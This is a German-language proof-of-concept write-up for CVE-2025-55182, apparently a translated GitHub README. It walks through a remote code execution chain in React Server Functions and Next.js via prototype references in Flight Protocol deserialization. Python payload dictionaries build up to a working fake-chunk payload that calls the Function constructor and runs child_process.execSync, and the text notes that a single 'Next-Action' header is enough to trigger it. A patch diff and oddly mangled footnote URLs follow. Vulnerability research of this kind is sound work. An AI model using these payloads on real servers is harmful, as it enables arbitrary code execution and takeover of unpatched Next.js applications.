
Proof-of-concept-Exploit für CVE-2025-55182, der die Remote-Codeausführung in React Server Functions durch unsichere Prototyp-Referenzen während der Flight Protocol-Deserialisierung demonstriert.
Original-Autor: https://github.com/msanft/CVE-2025-55182
Diese Schwachstelle ermöglicht eine RCE in React Server Functions, z. B. wie von Next.js bereitgestellt, durch unsichere Prototyp-Referenzen.
Ich bin kein Experte für React oder Next.js, daher sollten alle Informationen hier mit Vorsicht genossen werden.
React bietet Server Functions1 an, die als eine Art RPC-over-HTTP betrachtet werden können. Sie können genutzt werden, um Daten von benachbarten Peers mit geringer Latenz abzurufen oder authentifizierte Anfragen durchzuführen, für die dem Client die Berechtigungen fehlen.
React verwendet das sogenannte React Flight Protocol2 zur Serialisierung von Werten, die an Server Functions übergeben werden.
Der Client übergibt „Chunks“ an den Server, z. B. über Formulardaten:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Wie gezeigt, können diese gegenseitige Referenzen enthalten. Das obige Payload wird auf dem Server wie folgt deserialisiert:
{ object: 'fruit', name: 'cherry' }
Das Format selbst ist etwas komplexer und erlaubt aufwändigere Serialisierung und Deserialisierung, aber dies bietet ein grundlegendes Verständnis für die eigentliche Schwachstelle.
Bis zu diesem Commit3 hat React beim Durchlaufen von Chunks in der
Referenzauflösung – etwa beim Abrufen von fruitName aus Chunk 2 im obigen
Beispiel – nicht überprüft, ob der angeforderte Schlüssel tatsächlich auf dem
Objekt gesetzt war. Dies erlaubte uns den Zugriff auf den Objektprototyp4.
Dies kann mit einem Payload wie diesem demonstriert werden:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Das deserialisiert zum Funktionskonstruktor5:
[Function: Function]
Wenn der Chunk mit der ID 0 kein Array, sondern ein Objekt ist, können wir
den then-Schlüssel auf den Funktionskonstruktor setzen. Das Objekt wird dann
von der Funktion decodeReplyFromBusboy zurückgegeben und von Next.js mit
await abgewartet:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Wenn dies ein Thenable zurückgibt, wird das await im Aufrufer es aufrufen.
Dies geschieht mit diesem Payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Was zu diesem Fehler führt:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Der Fehler sieht so aus, weil V8 eine mit await abgewartete Funktion mit den
internen resolve- und reject-Funktionen aufruft, die, wenn man toString
auf sie anwendet, zu etwas wie diesem serialisiert werden:
function () { [native code] }
Da wir trivial den Function-Konstruktor abrufen können, ist der
naheliegendste Weg, ein Aufruf-Gadget zu finden, das den Konstruktor mit einem
benutzergesteuerten Wert (d. h. dem Code der Funktion als String) aufruft und
später die zurückgegebene Funktion aufruft.
Es gibt mehrere Stellen, die den Funktionskonstruktor aufrufen können, zum
Beispiel resolveServerReference, wo id ein gesteuertes Objekt ist, und
lastIndexOf überschrieben werden kann, um einen benutzergesteuerten String
zurückzugeben (z. B. über Array.prototype.join), und slice kann auf den
Funktionskonstruktor überschrieben werden. Allerdings funktioniert diese Stelle
nicht, weil der zweite Aufruf von .slice() eine Zahl als erstes Argument
liefert, die – nach bestem Wissen – nie vom Funktionskonstruktor verarbeitet
werden kann.
Hier kommt eine brillante Idee von maple31426 ins Spiel. Wenn getChunk
den Chunk mit der ID 0 als Wurzelreferenz abruft, um die Referenzkette
aufzulösen, kann dieser selbe Chunk zu einem manipulierten „Fake-Chunk“
aufgelöst werden.
Wir können auf den manipulierten Chunk 0 in Chunk 1 verweisen, indem wir die
$@-Syntax verwenden, die den „rohen“ Chunk zurückgibt, nicht seinen
aufgelösten Wert:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Kombinieren wir dies mit unserem then-Override von oben, können wir etwas
wie das hier basteln:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Hier überschreibt Chunk 0 seinen eigenen .then() mit dem .then() seiner
eigenen rohen Chunk-Repräsentation. Vereinfacht gesagt überschreiben wir
unseren eigenen .then() mit Chunk.prototype.then. Das ist möglich, weil
Chunks dannable sind:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Mit dem obigen Payload wird Chunk.prototype.then schließlich mit dem
manipulierten Chunk mit ID 0 aufgerufen.
Wie oben gezeigt, wenn .status auf unserem Fake-Chunk resolved_model ist:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Gelangen wir in initializeModelChunk. Hier wird .value als JSON geparst,
und dann werden Referenzen auf dem zurückgegebenen Objekt aufgelöst, wobei der
„äußere“ Kontext unserer Chunks mit den IDs 0 und 1 verwendet wird:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Innerhalb dessen erhalten wir nun einen zweiten Durchlauf der Auswertung mit etwas mehr Werten, auf die wir aufgrund des bereits aufgelösten äußeren Kontexts Zugriff haben.
Es gibt ein Aufruf-Gadget in der Behandlung von Blob-Daten mit dem $B-Präfix
im Flight Protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Durch das spezielle Feld _response kontrollieren wir die response-Eigenschaft
des manipulierten Chunks:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Damit können wir ein Objekt mit gefälschten ._formData- und ._prefix-Eigenschaften
erstellen:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Der .reason muss hinzugefügt werden, um das Scheitern beim toString-Aufruf
in `initializeModelChunk zu umgehen:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Indem wir ._formData auf den Funktionskonstruktor zeigen und ._prefix auf
unseren Code, erhalten wir ein Aufruf-Gadget für den Funktionskonstruktor in der
Blob-Deserialisierung:
response._formData.get(response._prefix + "0")
// wird zu
Function("return foo; // 0")
Unsere manipulierte Funktion wird dann von parseModelString als .then()-Methode
des manipulierten Chunks zurückgegeben, welche ebenfalls mit await abgewartet wird,
da dies alles in einer einzigen Promise-Auflösungskette stattfindet. Somit wird unsere
manipulierte Funktion aufgerufen. Dies stellt das oben erwähnte erforderliche
Aufruf-Gadget dar.
Setzen wir dies nun alles mit einem tatsächlichen RCE-Payload zusammen, erhalten wir folgendes:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Der Bonus, der diese Schwachstelle noch schlimmer macht, ist, dass all dies
während der Deserialisierung geschieht, bevor die angeforderte Aktion zum ersten Mal
in getActionModIdOrError validiert wird. Daher reicht es aus, einen Header wie
Next-Action: foo zu setzen, um die Schwachstelle auszulösen.
Die Verwendung von Chunk-Referenzen zum Abrufen von Prototypeigenschaften wird mit dieser Überprüfung behoben:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E